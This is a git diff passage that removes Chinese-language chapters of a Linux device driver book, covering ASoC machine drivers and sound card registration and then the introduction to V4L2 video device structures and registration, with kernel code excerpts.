SND_SOC_DAPM_MIC("Headset Mic", NULL), -    SND_SOC_DAPM_MIC("Int Mic", NULL), -    SND_SOC_DAPM_SPK("Speaker", NULL), -}; -/* Connection to the codec pin */ -static const struct snd_soc_dapm_route rk_audio_map[] = { -    {"IN34", NULL, "Headset Mic"}, -    {"Headset Mic", NULL, "MICBIAS"}, -    {"DMICL", NULL, "Int Mic"}, -    {"Headphone", NULL, "HPL"}, -    {"Headphone", NULL, "HPR"}, -    {"Speaker", NULL, "SPKL"}, -    {"Speaker", NULL, "SPKR"}, -}; -static struct snd_soc_card snd_soc_card_rk = { -    .name = "ROCKCHIP-I2S", -    .owner = THIS_MODULE, -[...] -    .dapm_widgets = rk_dapm_widgets, -    .num_dapm_widgets = ARRAY_SIZE(rk_dapm_widgets), -    .dapm_routes = rk_audio_map, -    .num_dapm_routes = ARRAY_SIZE(rk_audio_map), -    .controls = rk_mc_controls, -    .num_controls = ARRAY_SIZE(rk_mc_controls), -}; -``` - -前面的片段摘自`sound/soc/rockchip/rockchip_rt5645.c`。 通过这种方式使用它,就不需要使用`snd_soc_of_parse_audio_routing()`。 然而,使用这种方法的一个缺点是,在不重新编译内核的情况下,LE 不可能更改路由。 接下来,我们将了解计时和格式化注意事项。 - -# 计时和格式化注意事项 - -在深入研究这一节之前,让我们花一些时间在`snd_soc_dai_link->ops`字段上。 此字段的类型为`struct snd_soc_ops`,定义如下: - -```sh -struct snd_soc_ops { -    int (*startup)(struct snd_pcm_substream *); -    void (*shutdown)(struct snd_pcm_substream *); -    int (*hw_params)(struct snd_pcm_substream *, -                     struct snd_pcm_hw_params *); -    int (*hw_free)(struct snd_pcm_substream *); -    int (*prepare)(struct snd_pcm_substream *); -    int (*trigger)(struct snd_pcm_substream *, int); -}; -``` - -此结构中的这些回调字段应该会提醒您在类型为`struct snd_soc_dai_ops`的`snd_soc_dai_driver->ops`字段中定义的回调字段。 在 DAI 链路内,这些回调表示 DAI 链路的计算机级别 PCM 操作,而在`struct snd_soc_dai_driver`中,它们要么是特定于 DAI 的编解码器,要么是特定于 CPU 的 DAI。 - -当 PCM 子流打开时(当有人打开捕获/播放设备时),ALSA 调用`startup()`,而在设置音频流时调用`hw_params()`。 机器驱动器可以从这两个回调内配置 DAI 链路数据格式。 `hw_params()`提供了接收流参数(*通道计数*、*格式*、*采样率*等)的优点。 - -CPU DAI 和编解码器之间的数据格式配置应一致。 ASOC 核心提供助手功能来更改这些配置。 这些建议如下: - -```sh -int snd_soc_dai_set_fmt(struct snd_soc_dai *dai,                         unsigned int fmt) -int snd_soc_dai_set_pll(struct snd_soc_dai *dai, int pll_id, -                        int source, unsigned int freq_in, -                        unsigned int freq_out) -int snd_soc_dai_set_sysclk(struct snd_soc_dai *dai, int clk_id, -                           unsigned int freq, int dir) -int snd_soc_dai_set_clkdiv(struct snd_soc_dai *dai, -                           int div_id, int div) -``` - -在前面的助手列表中,`snd_soc_dai_set_fmt`为时钟主从关系、音频格式和信号反转等设置 DAI 格式;`snd_soc_dai_set_pll`配置时钟 PLL;`snd_soc_dai_set_sysclk`配置时钟源;`snd_soc_dai_set_clkdiv`配置时钟分频器。 这些帮助器中的每一个都将在底层 DAI 的驱动操作中调用适当的回调。 例如,使用 CPU DAI 调用`snd_soc_dai_set_fmt()`将调用此 CPU DAI 的`dai->driver->ops->set_fmt`回调。 - -以下是可以分配给 DAIS 或`dai_link.format`字段的格式/标志的实际列表: - -* **Format**: Configured through `snd_soc_dai_set_fmt()`: - - A)**时钟主/从**: - - A)`SND_SOC_DAIFMT_CBM_CFM`:CPU 是位时钟和帧同步的从机。 这也意味着编解码器是两者的主控。 - - B)`SND_SOC_DAIFMT_CBS_CFS`。 CPU 是位时钟和帧同步的主机。 这也意味着编解码器是两者的从属。 - - C)`SND_SOC_DAIFMT_CBM_CFS`。 CPU 是位时钟的从机,帧同步的主机。 这也意味着编解码器是前者的主编解码器和后者的从属编解码器。 - - B)**音频格式**: - - A)`SND_SOC_DAIFMT_DSP_A`:帧同步为 1 位时钟宽、1 位延迟。 - - B)`SND_SOC_DAIFMT_DSP_B`:帧同步为 1 位时钟宽度,0 位延迟。 此格式可用于 TDM 协议。 - - C)`SND_SOC_DAIFMT_I2S`:帧同步为 1 个音频字宽、1 位延迟、I2S 模式。 - - D)`SND_SOC_DAIFMT_RIGHT_J`:右对齐模式。 - - E)`SND_SOC_DAIFMT_LEFT_J`:左对齐模式。 - - F)`SND_SOC_DAIFMT_DSP_A`:帧同步为 1 位时钟宽、1 位延迟。 - - G)`SND_SOC_DAIFMT_AC97`:AC97 模式。 - - H)`SND_SOC_DAIFMT_PDM`:脉冲密度调制。 - - I)`SND_SOC_DAIFMT_DSP_B`:帧同步为 1 位时钟宽、1 位延迟。 - - C)**信号反转**: - - A)`SND_SOC_DAIFMT_NB_NF`:正常位时钟,正常帧同步。 CPU 发送器在位时钟的下降沿移出数据,接收器在上升沿采样数据。 CPU 帧同步发生器在帧同步的上升沿开始帧。 对于 CPU 侧的 I2S,建议使用此参数。 - - B)`SND_SOC_DAIFMT_NB_IF`:正常位时钟,反相帧同步。 CPU 发送器在位时钟的下降沿移出数据,接收器在上升沿采样数据。 CPU 帧同步发生器在帧同步的下降沿开始帧。 - - C)`SND_SOC_DAIFMT_IB_NF`:反相位时钟,正常帧同步。 CPU 发送器在位时钟的上升沿移出数据,接收器在下降沿采样数据。 CPU 帧同步发生器在帧同步的上升沿开始帧。 - - D)`SND_SOC_DAIFMT_IB_IF`:反相位时钟,反相帧同步。 CPU 发送器在位时钟的上升沿移出数据,接收器在下降沿采样数据。 CPU 帧同步发生器在帧同步的下降沿开始帧。 此配置可用于 PCM 模式(例如蓝牙或基于调制解调器的音频芯片)。 - -* **Clock source**: Configured through `snd_soc_dai_set_sysclk()`. The following are the direction parameters letting ALSA know which clock is used: - - A)`SND_SOC_CLOCK_IN`:表示 sysclock 使用内部时钟。 - - B)`SND_SOC_CLOCK_OUT`:表示 sysclock 使用外部时钟。 - -* **时钟分频器**:通过`snd_soc_dai_set_clkdiv()`配置。 - -前面的标志是可以在`dai_link->dai_fmt`字段中设置或从机器驱动内分配给编解码器或 CPU DAI 的可能值。 以下是典型的`hw_param()`实施: - -```sh -static int foo_hw_params(struct snd_pcm_substream *substream, -                          struct snd_pcm_hw_params *params) -{ -    struct snd_soc_pcm_runtime *rtd = substream->private_data; -    struct snd_soc_dai *codec_dai = rtd->codec_dai; -    struct snd_soc_dai *cpu_dai = rtd->cpu_dai; -    unsigned int pll_out = 24000000; -    int ret = 0; -    /* set the cpu DAI configuration */ -    ret = snd_soc_dai_set_fmt(cpu_dai, SND_SOC_DAIFMT_I2S | -                              SND_SOC_DAIFMT_NB_NF |                               SND_SOC_DAIFMT_CBM_CFM); -    if (ret < 0) -        return ret; -    /* set codec DAI configuration */ -    ret = snd_soc_dai_set_fmt(codec_dai, SND_SOC_DAIFMT_I2S | -                              SND_SOC_DAIFMT_NB_NF |                               SND_SOC_DAIFMT_CBM_CFM); -    if (ret < 0) -        return ret; -    /* set the codec PLL */ -    ret = snd_soc_dai_set_pll(codec_dai, WM8994_FLL1, 0, -                          pll_out, params_rate(params) * 256); -    if (ret < 0) -        return ret; -    /* set the codec system clock */ -    ret = snd_soc_dai_set_sysclk(codec_dai, WM8994_SYSCLK_FLL1, -                  params_rate(params) * 256, SND_SOC_CLOCK_IN); -    if (ret < 0) -        return ret; -    return 0; -} -``` - -在前面的`foo_hw_params()`函数的实现中,我们可以看到编解码器和平台 DAI 是如何使用格式和时钟设置进行配置的。 现在我们进入机器驱动实现的最后一步,它包括注册声卡,声卡是在系统上执行音频操作的设备。 - -# 声卡注册 - -声卡在内核中表示为`struct snd_soc_card`的实例,定义如下: - -```sh -struct snd_soc_card { -    const char *name; -    struct module *owner; -    [...] -    /* callbacks */ -    int (*set_bias_level)(struct snd_soc_card *, -                          struct snd_soc_dapm_context *dapm, -                          enum snd_soc_bias_level level); -    int (*set_bias_level_post)(struct snd_soc_card *, -                             struct snd_soc_dapm_context *dapm, -                             enum snd_soc_bias_level level); -    [...] -    /* CPU <--> Codec DAI links */ -    struct snd_soc_dai_link *dai_link; -    int num_links; -    const struct snd_kcontrol_new *controls; -    int num_controls; -    const struct snd_soc_dapm_widget *dapm_widgets; -    int num_dapm_widgets; -    const struct snd_soc_dapm_route *dapm_routes; -    int num_dapm_routes; -    const struct snd_soc_dapm_widget *of_dapm_widgets; -    int num_of_dapm_widgets; -    const struct snd_soc_dapm_route *of_dapm_routes; -    int num_of_dapm_routes; -[...] -}; -``` - -出于可读性考虑,仅列出了相关字段,完整定义可在[https://elixir.bootlin.com/linux/v4.19/source/include/sound/soc.h#L1010](https://elixir.bootlin.com/linux/v4.19/source/include/sound/soc.h#L1010)中找到。 话虽如此,下面的列表描述了我们列出的字段: - -* `name`是声卡的名称。 -* `owner`是此声卡的模块所有者。 -* `dai_link`是组成此声卡的 DAI 链接数组,`num_links`指定数组中的条目数。 -* `controls`是包含由机器驱动静态定义和设置的控件的数组,`num_controls`指定数组中的条目数。 -* `dapm_widgets`是包含由机器驱动静态定义和设置的 DAPM 小部件的数组,`num_dapm_widgets`指定数组中的条目数。 -* `damp_routes`是包含由机器驱动静态定义和设置的 DAPM 路由的数组,`num_dapm_routes`指定数组中的条目数。 -* `of_dapm_widgets`表示从 DT(通过`snd_soc_of_parse_audio_simple_widgets()`)馈送的 DAPM 小部件,`num_of_dapm_widgets`是小部件条目的实际数量。 -* `of_dapm_routes`表示从 DT(通过`snd_soc_of_parse_audio_routing()`)馈送的 DAPM 路由,`num_of_dapm_routes`是路由条目的实际数量。 - -设置好声音卡结构后,机器可以使用`devm_snd_soc_register_card()`方法进行注册,其原型如下: - -```sh -int devm_snd_soc_register_card(struct device *dev, -                               struct snd_soc_card *card); -``` - -在前面的原型中,`dev`表示用于管理卡的底层设备,`card`是先前设置的实际声卡数据结构。 此函数在成功时返回`0`。 但是,当调用此函数时,将探测每个组件驱动和 DAI 驱动。 因此,将为 CPU 和编解码器调用`component_driver->probe()`和`dai_driver->probe()`方法。 此外,将为每个成功探测的 DAI 链路创建新的 PCM 设备。 - -以下摘录(摘自使用 MAX90809 编解码器的主板的 RockChip 机器 ASOC 驱动,在内核源代码的`sound/soc/rockchip/rockchip_max98090.c`中实现)将显示通过 DAI 链路配置创建声卡的整个过程,从小部件到路由。 让我们首先为这台机器定义一个小部件和控件,以及用于配置 CPU 和编解码器 DAI 的回调: - -```sh -static const struct snd_soc_dapm_widget rk_dapm_widgets[] = { -    [...] -}; -static const struct snd_soc_dapm_route rk_audio_map[] = { -    [...] -}; -static const struct snd_kcontrol_new rk_mc_controls[] = { -    SOC_DAPM_PIN_SWITCH("Headphone"), -    SOC_DAPM_PIN_SWITCH("Headset Mic"), -    SOC_DAPM_PIN_SWITCH("Int Mic"), -    SOC_DAPM_PIN_SWITCH("Speaker"), -}; -static const struct snd_soc_ops rk_aif1_ops = { -    .hw_params = rk_aif1_hw_params, -}; -static struct snd_soc_dai_link rk_dailink = { -    .name = "max98090", -    .stream_name = "Audio", -    .codec_dai_name = "HiFi", -    .ops = &rk_aif1_ops, -    /* set max98090 as slave */ -    .dai_fmt = SND_SOC_DAIFMT_I2S | SND_SOC_DAIFMT_NB_NF | -                 SND_SOC_DAIFMT_CBS_CFS, -}; -``` - -在前面的摘录中,可以在原始代码实现文件中看到`rk_aif1_hw_params`。 现在是用于构建声卡的数据结构,定义如下: - -```sh -static struct snd_soc_card snd_soc_card_rk = { -    .name = "ROCKCHIP-I2S", -    .owner = THIS_MODULE, -    .dai_link = &rk_dailink, -    .num_links = 1, -    .dapm_widgets = rk_dapm_widgets, -    .num_dapm_widgets = ARRAY_SIZE(rk_dapm_widgets), -    .dapm_routes = rk_audio_map, -    .num_dapm_routes = ARRAY_SIZE(rk_audio_map), -    .controls = rk_mc_controls, -    .num_controls = ARRAY_SIZE(rk_mc_controls), -}; -``` - -此声卡最终在驱动`probe`方法中创建,如下所示: - -```sh -static int snd_rk_mc_probe(struct platform_device *pdev) -{ -    int ret = 0; -    struct snd_soc_card *card = &snd_soc_card_rk; -    struct device_node *np = pdev->dev.of_node; -[...] -    card->dev = &pdev->dev; -    /* Assign codec, cpu and platform node */ -    rk_dailink.codec_of_node = of_parse_phandle(np, -                                  "rockchip,audio-codec", 0); -    rk_dailink.cpu_of_node = of_parse_phandle(np, -                                "rockchip,i2s-controller", 0); -    rk_dailink.platform_of_node = rk_dailink.cpu_of_node; -[...] -    ret = snd_soc_of_parse_card_name(card, "rockchip,model"); -    ret = devm_snd_soc_register_card(&pdev->dev, card); -[...] -} -``` - -同样,前面的三个代码块摘自`sound/soc/rockchip/rockchip_max98090.c`。 到目前为止,我们已经了解了机器驱动的主要用途,即将编解码器驱动和 CPU 驱动绑定在一起,并定义音频路径。 话虽如此,在某些情况下,我们可能需要更少的代码。 这种情况涉及板,其中 CPU 和编解码器在绑定到一起之前都不需要特殊的黑客攻击。 在本例中,ASOC 框架提供了**简单卡机器驱动**,将在下一节中介绍。 - -# 利用简单卡片机驱动 - -在情况下,您的主板不需要来自编解码器或 CPU DAI 的任何黑客攻击。 ASOC 内核提供了`simple-audio`机器驱动,该驱动可用于描述 DT 中的整个声卡。 以下是这样一个节点的摘录: - -```sh -sound { -    compatible ="simple-audio-card"; -    simple-audio-card,name ="VF610-Tower-Sound-Card"; -    simple-audio-card,format ="left_j"; -    simple-audio-card,bitclock-master = <&dailink0_master>; -    simple-audio-card,frame-master = <&dailink0_master>; -    simple-audio-card,widgets ="Microphone","Microphone Jack", -                               "Headphone","Headphone Jack",                               -                               "Speaker","External Speaker"; -    simple-audio-card,routing = "MIC_IN","Microphone Jack", -                                "Headphone Jack","HP_OUT", -                                "External Speaker","LINE_OUT"; -    simple-audio-card,cpu { -        sound-dai = <&sh_fsi20>; -    }; -    dailink0_master: simple-audio-card,codec { -        sound-dai = <&ak4648>; -        clocks = <&osc>; -    }; -}; -``` - -这在`Documentation/devicetree/bindings/sound/simple-card.txt`中有详细说明。 在前面的摘录中,我们可以看到机器小部件和路由图被指定,因为我们 ll 被引用为编解码器和 CPU 节点。 既然我们已经熟悉了简单卡片机器驱动,我们就可以利用它,并尽量不编写我们自己的机器驱动。 话虽如此,但在某些情况下,编解码器设备无法分离,这会改变机器的写入方式。 这样的音频设备被称为无编解码器和卡,我们将在下一节讨论它们。 - -## 无编解码器声卡 - -可能会有从外部系统采样数字音频数据的情况,例如当使用 SPDIF 接口时,因此数据被预格式化。 在这种情况下,声卡注册是相同的,但 ASOC 核心需要注意这种特殊情况。 - -对于输出,DAI 链接对象的`.capture_only`字段应该是`false`,而`.playback_only`应该是`true`。 反之亦然,应该对输入进行反转。 此外,机器驱动器必须将 DAI 链接的`codec_dai_name`和`codec_name`分别设置为`"snd-soc-dummy-dai"`和`"snd-soc-dummy"`。 例如,`imx-spdif`机器驱动(`sound/soc/fsl/imx-spdif.c`)就是这种情况,它包含以下摘录: - -```sh -data->dai.name = "S/PDIF PCM"; -data->dai.stream_name = "S/PDIF PCM"; -data->dai.codecs->dai_name = "snd-soc-dummy-dai"; -data->dai.codecs->name = "snd-soc-dummy"; -data->dai.cpus->of_node = spdif_np; -data->dai.platforms->of_node = spdif_np; -data->dai.playback_only = true; -data->dai.capture_only = true; -if (of_property_read_bool(np, "spdif-out")) -    data->dai.capture_only = false; -if (of_property_read_bool(np, "spdif-in")) -    data->dai.playback_only = false; -if (data->dai.playback_only && data->dai.capture_only) { -    dev_err(&pdev->dev, "no enabled S/PDIF DAI link\n"); -    goto end; -} -``` - -您可以在`Documentation/devicetree/bindings/sound/imx-audio-spdif.txt`中找到该驱动的绑定文档。 在机器类驱动研究的最后,完成了整个 ASOC 类驱动的开发。 在这个机器类驱动中,除了在代码中绑定 CPU 和 Codec,以及提供设置回调之外,我们还看到了如何通过使用 Simple-Card MACHINE 驱动并在设备树中实现其余部分来避免编写代码。 - -# 摘要 - -在本章中,我们介绍了 ASOC 机器类驱动的体系结构,它代表了本 ASOC 系列的最后一个元素。 我们不仅了解了如何绑定平台和子设备驱动,还了解了如何定义音频数据的路由。 - -在下一章中,我们将介绍另一个 Linux 媒体子系统,即 V4L2,它用于处理视频设备。 \ No newline at end of file diff --git a/docs/master-linux-device-driver-dev/07.md b/docs/master-linux-device-driver-dev/07.md deleted file mode 100644 index 7fc81cf9..00000000 --- a/docs/master-linux-device-driver-dev/07.md +++ /dev/null @@ -1,1235 +0,0 @@ -# 七、V4L2 和视频捕获设备驱动揭秘 - -长期以来,视频一直是嵌入式系统固有的特性。 鉴于 Linux 是此类系统中最受欢迎的内核,不用说,它本身就嵌入了对视频的支持。 这就是所谓的**V4L2**,它代表**Video 4(For)Linux2**。 是的!*2*因为有第一个版本,*V4L*。 V4L2 在 V4L 中增加了内存管理特性和其他元素,使该框架尽可能具有通用性。 通过这个框架,Linux 内核能够处理摄像机设备和它们所连接的网桥,以及相关的 DMA 引擎。 这些不是 V4L2 支持的唯一元素。 我们将从介绍框架体系结构开始,学习它是如何组织的,并介绍它包含的主要数据结构。 然后,我们将学习如何设计和编写负责 DMA 操作的桥接设备驱动,最后,我们将深入研究子设备驱动。 也就是说,本章将介绍以下主题: - -* 框架体系结构和主要数据结构 -* 桥接视频设备驱动 -* 子设备的概念 -* V4L2 控制基础架构 - -# 技术要求 - -以下是本章的前提条件: - -* 具备高级计算机体系结构知识和 C 编程技能 -* Linux 内核 v4.19.X 源代码,可从[https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags)获得 - -# 框架架构和主要数据结构 - -视频设备正变得越来越复杂。 在这类设备中,硬件通常由几个集成 IP 组成,这些 IP 需要以受控方式相互配合,这就导致了复杂的 V4L2 驱动。 这需要在钻研代码之前弄清楚体系结构,这正是本节要解决的要求。 - -众所周知,驱动通常在编程时反映硬件模型。 在 V4L2 上下文中,各种 IP 组件被建模为称为子设备的软件块。 V4L2 子设备通常是纯内核对象。 此外,如果 V4L2 驱动实现媒体设备 API(我们将在下一章[*第 8 章*](08.html#_idTextAnchor342),*与 V4L2 异步和媒体控制器框架*集成)实现媒体设备 API,这些子设备将自动从媒体实体继承,从而允许应用枚举子设备并使用媒体框架的实体、垫和与链接相关的枚举 API 发现硬件拓扑。 - -尽管使子设备可被发现,但驱动同样可以决定以一种简单的方式使它们可由应用配置。 当子设备驱动和 V4L2 设备驱动都支持这一点时,子设备将在上有一个字符设备节点,可以调用**ioctls**(**输入/输出控件**)来查询、读取和写入子设备功能(包括控件),甚至协商各个子设备焊盘上的图像格式。 - -在驱动级别,V4L2 为驱动开发人员做了大量工作,因此他们只需实现与硬件相关的代码并注册相关设备。 在进一步讨论之前,我们必须介绍构成 V4L2 核心的几个重要结构: - -* `struct v4l2_device`:硬件设备可以包含多个子设备,例如除了捕获设备之外的电视卡,并且可能包含 VBI 设备或 FM 调谐器。 `v4l2_device`是所有这些设备的根节点,负责管理所有子设备。 -* `struct video_device`:此结构的主要目的是提供众所周知的`/dev/videoX`或`/dev/v4l-subdevX`设备节点。 此结构主要抽象捕获接口,也称为**桥接接口**(桥接,因为它将数据从其数据线传送到内核内存)。 这将始终是 SoC 的一部分或连接到高速总线(如 PCI)。 虽然子设备也继承自此结构,但它们的使用方式与桥不同,但仅限于公开它们的`/dev/v4l-subdevX`节点及其文件操作。 从子设备驱动内部,只有内核访问底层子设备中的该结构。 -* `struct vb2_queue`:对我来说,这是视频驱动中的主要数据结构,因为它与`struct vb2_v4l2_buffer`一起用于数据流的真实逻辑和 DMA 操作的中心部分。 -* `struct v4l2_subdev`:这是 SoC 的视频系统中负责实现特定功能和抽象特定功能的子设备。 - -可以将`struct video_device`视为所有设备和子设备的基类。 当我们编写自己的驱动时,对此数据结构的访问可能是直接的(如果我们处理的是桥驱动),也可能是间接的(如果我们处理的是子设备,因为子设备 API 抽象并隐藏了嵌入到每个子设备数据结构中的底层`struct video_device`)。 - -现在我们知道这个框架是由哪些数据结构组成的。 此外,我们还介绍了它们之间的关系和各自的目的。 现在是时候让我们通过介绍如何使用 SY 词干初始化和注册 V4L2 设备来更深入地了解细节了。 - -## 初始化和注册 V4L2 设备 - -在使用或系统的一部分之前,必须对 V4L2 设备进行初始化和注册,这是本节的主要主题。 一旦框架体系结构描述完成,我们就可以开始浏览代码了。 在该内核中,V4L2 设备是`struct v4l2_device`结构的实例。 这是媒体框架中的最高数据结构,维护媒体管道组成的子设备列表,并充当网桥设备的父设备。 V4L2 驱动应包括``,这将引入以下定义`struct v4l2_device`: - -```sh -struct v4l2_device { -    struct device *dev; -    struct media_device *mdev; -    struct list_head subdevs; -    spinlock_t lock; -    char name[V4L2_DEVICE_NAME_SIZE]; -    void (*notify)(struct v4l2_subdev *sd, -                   unsigned int notification, void *arg); -    struct v4l2_ctrl_handler *ctrl_handler; -    struct v4l2_prio_state prio; -    struct kref ref; -    void (*release)(struct v4l2_device *v4l2_dev); -}; -``` - -与我们将在以下部分介绍的其他视频相关数据结构不同,此结构中只有个字段。 它们的含义如下: - -* `dev`是指向此 V4L2 设备的父`struct device`的指针。 这将在注册时自动设置,`dev->driver_data`将指向此`v4l2`结构。 -* `mdev`是指向此 V4L2 设备所属的`struct media_device`对象的指针。 此字段涉及媒体控制器框架,将在相关部分中介绍。 如果不需要与媒体控制器框架集成,则可以是`NULL`。 -* `subdevs`是此 V4L2 设备的子设备列表。 -* `lock`是保护进入此结构的锁。 -* `name`是此 V4L2 设备的唯一名称。 默认情况下,它派生自驱动名称加上总线 ID。 -* `notify`是指向通知回调的指针,由子设备调用以将某些事件通知此 V4L2 设备。 -* `ctrl_handler`是与此设备关联的控制处理程序。 它跟踪此 V4L2 设备拥有的所有控件。 如果没有控件,则可能是`NULL`。 -* `prio`是设备的优先级状态。 -* `ref`由内核内部用于引用计数。 -* `release`是此结构的最后一个用户关闭时要调用的回调。 - -此顶层结构由相同的函数`v4l2_device_register()`初始化并注册到核心,其原型如下: - -```sh -int v4l2_device_register(struct device *dev, -                         struct v4l2_device *v4l2_dev); -``` - -第一个`dev`参数通常是桥接总线的相关设备数据结构的 struct 设备指针。 即`pci_dev`、`usb_device`或`platform_device`。 - -如果`dev->driver_data`字段为`NULL`,此函数将使其指向正在注册的实际`v4l2_dev`对象。 此外,如果`v4l2_dev->name`为空,则它将被设置为由`dev driver name + dev device name`串联而成的值。 - -但是,如果`dev`参数为`NULL`,则在调用`v4l2_device_register()`之前必须设置`v4l2_dev->name`。 另一方面,以前注册的 V4L2 设备可以使用`v4l2_device_unregister()`取消注册,如下所示: - -```sh -v4l2_device_unregister(struct v4l2_device *v4l2_dev); -``` - -在调用此函数时,所有子设备也将被注销。 这一切都是关于 V4L2 设备的。 但是,您应该记住,它是顶层结构,维护媒体设备的子设备列表,并充当网桥设备的父设备。 - -现在我们已经完成了主 V4L2 设备(包含其他设备相关数据结构)的初始化和注册,我们可以介绍特定的设备驱动,从桥接驱动开始,它是 PlatfoRM 特定的。 - -# 视频设备驱动简介-网桥驱动 - -网桥驱动控制负责 DMA 传输的平台`/USB/PCI/...`硬件。 此是处理来自设备的数据流的驱动。 桥驱动直接处理的主要数据结构之一是`struct video_device`。 这个结构嵌入了执行视频流所需的整个元素,它与用户空间的第一次交互之一是在`/dev/`目录中创建设备文件。 - -`struct video_device`结构在`include/media/v4l2-dev.h`中定义,这意味着驱动代码必须包含`#include `。 下面是定义该结构的头文件中的结构: - -```sh -struct video_device -{ -#if defined(CONFIG_MEDIA_CONTROLLER) -    struct media_entity entity; -    struct media_intf_devnode *intf_devnode; -    struct media_pipeline pipe; -#endif -    const struct v4l2_file_operations *fops; -    u32 device_caps; -    struct device dev; struct cdev *cdev; -    struct v4l2_device *v4l2_dev; -    struct device *dev_parent; -    struct v4l2_ctrl_handler *ctrl_handler; -    struct vb2_queue *queue; -    struct v4l2_prio_state *prio; -    char name[32]; -    enum vfl_devnode_type vfl_type; -    enum vfl_devnode_direction vfl_dir; -    int minor; -    u16 num; -    unsigned long flags; int index; -    spinlock_t fh_lock; -    struct list_head fh_list; -    void (*release)(struct video_device *vdev); -    const struct v4l2_ioctl_ops *ioctl_ops; -    DECLARE_BITMAP(valid_ioctls, BASE_VIDIOC_PRIVATE); -    struct mutex *lock; -}; -``` - -网桥驱动不仅使用此结构-当涉及到表示 V4L2 兼容设备(包括子设备)时,此结构是主要的`v4l2`结构。 但是,根据驱动的性质(桥接驱动或子设备驱动),某些元素可能会有所不同或可能是`NULL`。 下面是对结构中每个元素的说明: - -* `entity`、`intf_node`和`pipe`是与媒体框架集成的一部分,我们将在同名部分看到。 前者从媒体框架中抽象出视频设备(成为实体),`intf_node`表示媒体接口设备节点,`pipe`表示实体所属的流媒体管道。 -* `fops`表示视频设备的文件节点的文件操作。 V4L2 核心使用子系统所需的一些额外逻辑覆盖虚拟设备文件操作。 -* `cdev`是字符设备结构,抽象了底层的`/dev/videoX`文件节点。 `vdev->cdev->ops`由 V4L2 内核设置为`v4l2_fops`(在`drivers/media/v4l2-core/v4l2-dev.c`中定义)。 `v4l2_fops`实际上是分配给每个`/dev/videoX`字符设备的通用(就实现的操作而言)和面向 V4L2 的(就这些操作所做的而言)文件 op,并包装`vdev->fops`中定义的特定于视频设备的 op。 在它们的返回路径上,`v4l2_fops`中的每个回调都将调用`vdev->fops`中的对应回调。 `v4l2_fops`回调在调用`vdev->fops`中的实际操作之前执行健全性检查。 例如,对于用户空间对`/dev/videoX`文件发出的`mmap()`系统调用,将首先调用`v4l2_fops->mmap`,这将确保在调用之前设置了`vdev->fops->mmap`,并在需要时打印调试消息。 -* `ctrl_handler`:默认值为`vdev->v4l2_dev->ctrl_handler`。 -* `queue`是与此设备节点关联的缓冲区管理队列。 这是只有桥接器驱动才能使用的数据结构之一。 这可能是`NULL`,特别是当涉及到非网桥视频驱动(例如子设备)时。 -* `prio`是指向具有设备优先级状态的`&struct v4l2_prio_state`的指针。 如果此状态为`NULL`,则将使用`v4l2_dev->prio`。 -* `name`是视频设备的名称。 -* `vfl_type` is the V4L device type. Possible values are defined by `enum vfl_devnode_type`, containing the following: - - -`VFL_TYPE_GRABBER`:用于视频输入/输出设备 - - -`VFL_TYPE_VBI`:垂直空白数据(未解码) - - -`VFL_TYPE_RADIO`:用于无线网卡 - - -`VFL_TYPE_SUBDEV`:适用于 V4L2 子设备 - - -`VFL_TYPE_SDR`:软件定义无线电 - - -`VFL_TYPE_TOUCH`:用于触摸传感器 - -* `vfl_dir` is a V4L receiver, transmitter, or memory-to-memory (denoted m2m or mem2mem) device. Possible values are defined by `enum vfl_devnode_direction`, containing the following: - - -`VFL_DIR_RX`:用于捕获设备 - - -`VFL_DIR_TX`:用于输出设备 - - -`VFL_DIR_M2M`:应为 mem2mem 设备(读取内存到内存,也称为内存到内存设备)。 Mem2mem 设备是将用户空间应用传递的内存缓冲区用于源和目标的设备。 这与当前和现有的驱动不同,这些驱动一次只对其中一个使用内存缓冲区。 根据 V4L2,这样的设备可以是**输出**和**捕获**两种类型。 虽然在 V4L2 框架中不存在这样的设备,但是存在对这样的模型的需求,例如,对‘大小调整设备’或对 V4L2 环回驱动的需求。 - -* `v4l2_dev`是此视频设备的`v4l2_device`父设备。 -* `dev_parent`是此视频设备的设备父设备。 如果未设置,内核将用`vdev->v4l2_dev->dev`设置。 -* `ioctl_ops`是指向`&struct v4l2_ioctl_ops`的指针,它定义了一组 ioctl 回调。 -* `release`是视频设备的最后一个用户退出时由内核调用的回调。 这必须是非`NULL`。 -* `lock`是串行化对此设备的访问的互斥体。 它是通过对所有 ioctls 进行序列化的主要序列化锁。 网桥驱动通常使用与*队列->锁*相同的互斥量来设置此字段,后者是用于序列化对队列的访问(串行化数据流)的锁。 但是,如果设置了*队列->锁*,则流 ioctls 将由该单独的锁序列化。 -* `num`是内核分配的实际设备节点索引。 它对应于`/dev/videoX`中的*X*。 -* `flags`是视频设备标志。 您应该使用位操作来设置/清除/测试标志。 它们包含一组`&enum v4l2_video_device_flags`标志。 -* `fh_list`是描述 V4L2 文件处理程序的`struct v4l2_fh`列表,可跟踪该视频设备打开的文件句柄数量。 `fh_lock`是与此列表关联的锁。 -* `class`对应于 sysfs 类。 它是由核心分配的。 此类条目对应于`/sys/video4linux/`sysfs 目录。 - -## 初始化和注册视频设备 - -在其注册之前,可以使用`video_device_alloc()`(其简单地调用`kzalloc()`)动态地分配视频设备,或者静态地将嵌入到动态分配的结构中,该结构通常是设备状态结构。 - -视频设备使用`video_device_alloc()`动态分配,如下例所示: - -```sh -struct video_device * vdev; -vdev = video_device_alloc(); -if (!vdev) -    return ERR_PTR(-ENOMEM); -vdev->release = video_device_release; -``` - -在前面的摘录中,最后一行为视频设备提供了`release`方法,因为`.release`字段必须为非`NULL`。 `video_device_release()`回调由内核提供。 它只调用`kfree()`来释放分配的内存。 - -当它嵌入到设备状态结构中时,代码如下: - -```sh -struct my_struct { -    [...] -    struct video_device vdev; -}; -[...] -struct my_struct *my_dev; -struct video_device *vdev; -my_dev = kzalloc(sizeof(struct my_struct), GFP_KERNEL); -if (!my_dev) -    return ERR_PTR(-ENOMEM); -vdev = &my_vdev->vdev; -/* Now work with vdev as our video_device struct */ -vdev->release = video_device_release_empty; -[...] -``` - -这里,视频设备不能单独发布,因为它是更大画面的一部分。 当视频设备嵌入到另一个结构中时,如前面的示例所示,它不需要释放任何内容。 此时,因为 Release 回调必须是非`NULL`的,所以我们可以分配一个空函数,比如内核提供的`video_device_release_empty()`。 - -我们已经完成了分配。 此时,我们可以使用`video_register_device()`来注册视频设备。 以下是该函数的原型: - -```sh -int video_register_device(struct video_device *vdev, -                           enum vfl_devnode_type type, int nr) -``` - 